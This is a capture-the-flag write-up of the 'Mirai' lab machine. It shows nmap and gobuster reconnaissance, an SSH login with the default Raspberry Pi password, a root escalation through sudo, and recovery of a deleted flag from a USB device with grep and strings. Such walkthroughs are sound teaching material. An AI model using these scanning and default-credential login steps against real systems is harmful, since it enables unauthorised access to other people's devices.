Mirai

Share on:

Mirai

Introduction:

Recon

 1nmap -sS -sC -sV -T4 -O -oN nmap.mirai.txt 10.10.10.48
 2Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-01 13:25 EST
 3Nmap scan report for 10.10.10.48
 4Host is up (0.015s latency).
 5Not shown: 997 closed ports
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
 8| ssh-hostkey: 
 9|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
10|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
11|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
12|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
1353/tcp open  domain  dnsmasq 2.76
14| dns-nsid: 
15|_  bind.version: dnsmasq-2.76
1680/tcp open  http    lighttpd 1.4.35
17|_http-server-header: lighttpd/1.4.35
18|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
19No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
20TCP/IP fingerprint:
21OS:SCAN(V=7.91%E=4%D=1/1%OT=22%CT=1%CU=42774%PV=Y%DS=2%DC=I%G=Y%TM=5FEF6940
22OS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=8)SEQ(
23OS:SP=107%GCD=1%ISR=10D%TI=Z%II=I%TS=8)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%T
24OS:S=8)OPS(O1=M54DST11NW6%O2=M54DST11NW6%O3=M54DNNT11NW6%O4=M54DST11NW6%O5=
25OS:M54DST11NW6%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7
26OS:120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
27OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
28OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
29OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
30OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
31OS:T=40%CD=S)
32
33Network Distance: 2 hops
34Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
35
36OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
37Nmap done: 1 IP address (1 host up) scanned in 28.59 seconds
38

Notes:

  1. Landing page shows the website is running - Pi-hole v3.1.4 and the webserver is lighttpd 1.4.35
  2. Port 53 is running dnsmasq 2.76, and surprisingly this is a TCP port
  3. Port scanner also indicates that we are running services on higher ports 32400/32469

Lets run nmap against those ports as well -

 1nmap -p53,22,80,1297,32400,32469 -sV -sC -T4 -Pn 10.10.10.48
 2Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
 3Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-01 13:27 EST
 4Nmap scan report for 10.10.10.48
 5Host is up (0.019s latency).
 6
 7PORT      STATE SERVICE VERSION
 822/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
 9| ssh-hostkey: 
10|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
11|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
12|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
13|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
1453/tcp    open  domain  dnsmasq 2.76
15| dns-nsid: 
16|_  bind.version: dnsmasq-2.76
1780/tcp    open  http    lighttpd 1.4.35
18|_http-server-header: lighttpd/1.4.35
19|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
201297/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
2132400/tcp open  http    Plex Media Server httpd
22| http-auth: 
23| HTTP/1.1 401 Unauthorized\x0D
24|_  Server returned status 401 but no WWW-Authenticate header.
25|_http-cors: HEAD GET POST PUT DELETE OPTIONS
26|_http-favicon: Plex
27|_http-title: Unauthorized
2832469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
29Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
30
31Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
32Nmap done: 1 IP address (1 host up) scanned in 20.09 seconds

Poking around the webserver port from browser does not load anything and eventually you encounter an error that you have been blocked. However, the new page now shows that there is a pi-hole service running and it also reveals a domain name.

Blocked

Kick off gobuster and it will reveal a /admin directory

1gobuster -u http://10.10.10.48 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Admin

Enumeration

The default creds for admin page did not work for pi-hole, however pi-hole is typically installed on raspberry pi boards and the default password on the pi is pi/raspberry.

You can login using the creds over SSH and you should have access to the host.

Exploitation

SSH into the host

 1ssh [email protected]
 2The authenticity of host 'pi.hole (10.10.10.48)' can't be established.
 3ECDSA key fingerprint is SHA256:UkDz3Z1kWt2O5g2GRlullQ3UY/cVIx/oXtiqLPXiXMY.
 4Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 5Warning: Permanently added 'pi.hole,10.10.10.48' (ECDSA) to the list of known hosts.
 6[email protected]'s password: 
 7
 8The programs included with the Debian GNU/Linux system are free software;
 9the exact distribution terms for each program are described in the
10individual files in /usr/share/doc/*/copyright.
11
12Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
13permitted by applicable law.
14Last login: Sun Aug 27 14:47:50 2017 from localhost
15
16SSH is enabled and the default password for the 'pi' user has not been changed.
17This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
18
19
20SSH is enabled and the default password for the 'pi' user has not been changed.
21This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
22
23pi@raspberrypi:~ $ ls
24background.jpg  Desktop  Documents  Downloads  Music  oldconffiles  Pictures  Public  python_games  Templates  Videos
25pi@raspberrypi:~ $ cd Desktop/
26pi@raspberrypi:~/Desktop $ ls
27Plex  user.txt

Post-exploit/PrivEsc

As you can see pi user can sudo and we already have the password, you can simply sudo su to root.

 1pi@raspberrypi:~/Desktop $ sudo su - 
 2
 3SSH is enabled and the default password for the 'pi' user has not been changed.
 4This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
 5
 6
 7SSH is enabled and the default password for the 'pi' user has not been changed.
 8This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
 9
10root@raspberrypi:~# ls
11root.txt
12root@raspberrypi:~# cat root.txt 
13I lost my original root.txt! I think I may have a backup on my USB stick...
14

The root.txt however seems to pose another challenge here. The file is accidentally deleted and I do not see any .swp files to do recovery. We have to then consider doing a file recovery.

Examine filesystem

 1root@raspberrypi:~# df -k 
 2Filesystem     1K-blocks    Used Available Use% Mounted on
 3aufs             8856504 2857928   5525644  35% /
 4tmpfs             102396   13060     89336  13% /run
 5/dev/sda1        1354528 1354528         0 100% /lib/live/mount/persistence/sda1
 6/dev/loop0       1267456 1267456         0 100% /lib/live/mount/rootfs/filesystem.squashfs
 7tmpfs             255988       0    255988   0% /lib/live/mount/overlay
 8/dev/sda2        8856504 2857928   5525644  35% /lib/live/mount/persistence/sda2
 9devtmpfs           10240       0     10240   0% /dev
10tmpfs             255988       8    255980   1% /dev/shm
11tmpfs               5120       4      5116   1% /run/lock
12tmpfs             255988       0    255988   0% /sys/fs/cgroup
13tmpfs             255988       8    255980   1% /tmp
14/dev/sdb            8887      93      8078   2% /media/usbstick
15tmpfs              51200       0     51200   0% /run/user/999
16tmpfs              51200       0     51200   0% /run/user/1000

/media/usbstick seems interesting -

 1root@raspberrypi:~# cd /media/usbstick
 2root@raspberrypi:/media/usbstick# ls
 3damnit.txt  lost+found
 4root@raspberrypi:/media/usbstick# ls -all
 5total 18
 6drwxr-xr-x 3 root root  1024 Aug 14  2017 .
 7drwxr-xr-x 3 root root  4096 Aug 14  2017 ..
 8-rw-r--r-- 1 root root   129 Aug 14  2017 damnit.txt
 9drwx------ 2 root root 12288 Aug 14  2017 lost+found
10root@raspberrypi:/media/usbstick# cat damnit.txt 
11Damnit! Sorry man I accidentally deleted your files off the USB stick.
12Do you know if there is any way to get them back?
13
14-James
15

Another message that indicates that the file was deleted from the usbstick, we should go back to the root filesystem and attempt a recovery for the original file instead.

1root@raspberrypi:/media/usbstick# grep root /dev/sdb
2Binary file /dev/sdb matches
3root@raspberrypi:/media/usbstick# grep -a root /dev/sdb
4lost+found
5�        root.txt
6lost+found
7�        root.txt
8lost+found
9�        root.txt
 1root@raspberrypi:/media/usbstick# grep -A 5 -B 5 root.txt  /dev/sdb
 2Binary file /dev/sdb matches
 3root@raspberrypi:/media/usbstick# grep -a  -A 5 -B 5 root.txt  /dev/sdb
 4�n��0�1�Y�1�Y�1�Y�{���1�Y�1�Y�1�Y
 5�|�A0�1�Y�1�Y�1�Y
 6 7 o���4�Y�4�Y�4�Y�4�Y
 8��!9�����4�Y�2�Y�2�Y
 9�+ �!9�
10       .
11        ..
12          $
13lost+found
14�        root.txt
15damnit.txt
16
17          .�..
18
19
20�;9�
21    c[��B)�>r &�<�;9�	/
22
23(Y"�	  �4�Y�4�Y��S��1�Y
24                          �<Fyc[��B)�>r &�</media/usbstick�yZ�.Gu���m^��>
25                                                                         �1�Y
26�|��A0�1�Y�1�Y�1�Y
27--
28/n.+,
29�A0�1�Y�1�Y�1�Y
3031 o���4�Y�4�Y�4�Y�4�Y
32��!9�����4�Y�2�Y�2�Y
33�+ �!9�
34       .
35        ..
36          $
37lost+found
38�        root.txt
39damnit.txt�1�Y�1�Y�1�Y�A�2�Y�4�Y�4�Y
40�n��0�1�Y�1�Y�1�Y�{���1�Y�1�Y�1�Y
41�|
42(Y"�	  �4�Y�4�Y��S��1�Y
43                          �<Fyc[��B)�>r &�</media/usbstick�yZ�.Gu���m^��>
44                                                                         �1�Y
45�|�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������*,.�����}+-��Ո��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;9�
46--
4748 o��!:2�Y:2�Y:2�Y
49�* �!9����2�Y�2�Y�2�Y
50��!9��1�Y�1�Y�1�Y�A�2�Y�2�Y�2�Y
51�n��0�1�Y�1�Y�1�Y�{���1�Y�1�Y�1�Y
52�|
53  .
54   ..
55
56lost+found
57�        root.txt
58damnit.txt�;9�Y�2�8Ho��;9�+/
59������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������*,.�����O+-���t�A0�1�Y�1�Y�1�Y
6061 o��!:2�Y:2�Y:2�Y
62�* �!9�����2�Y�2�Y�2�Y
63�+ �!9��;9�Y�3
64              8PP
65root@raspberrypi:/media/usbstick# cat damnit.txt 
66Damnit! Sorry man I accidentally deleted your files off the USB stick.
67Do you know if there is any way to get them back?
68
69-James

Finally switched to strings to extract the root flag -

 1root@raspberrypi:/media/usbstick# strings /dev/sdb
 2>r &
 3/media/usbstick
 4lost+found
 5root.txt
 6damnit.txt
 7>r &
 8>r &
 9/media/usbstick
10lost+found
11root.txt
12damnit.txt
13>r &
14/media/usbstick
152]8^
16lost+found
17root.txt
18damnit.txt
19>r &
203d3XXXXXXXXXXXXXXXXXXXXX020b
21Damnit! Sorry man I accidentally deleted your files off the USB stick.
22Do you know if there is any way to get them back?
23-James

Notes:

  • Alternatively
    • grep -a -B2 -A2 ‘[a-z0-9]{32}’ /dev/sdb to look for a alphanumeric string of length 32 (length of the root flag). (Credit @ippsec)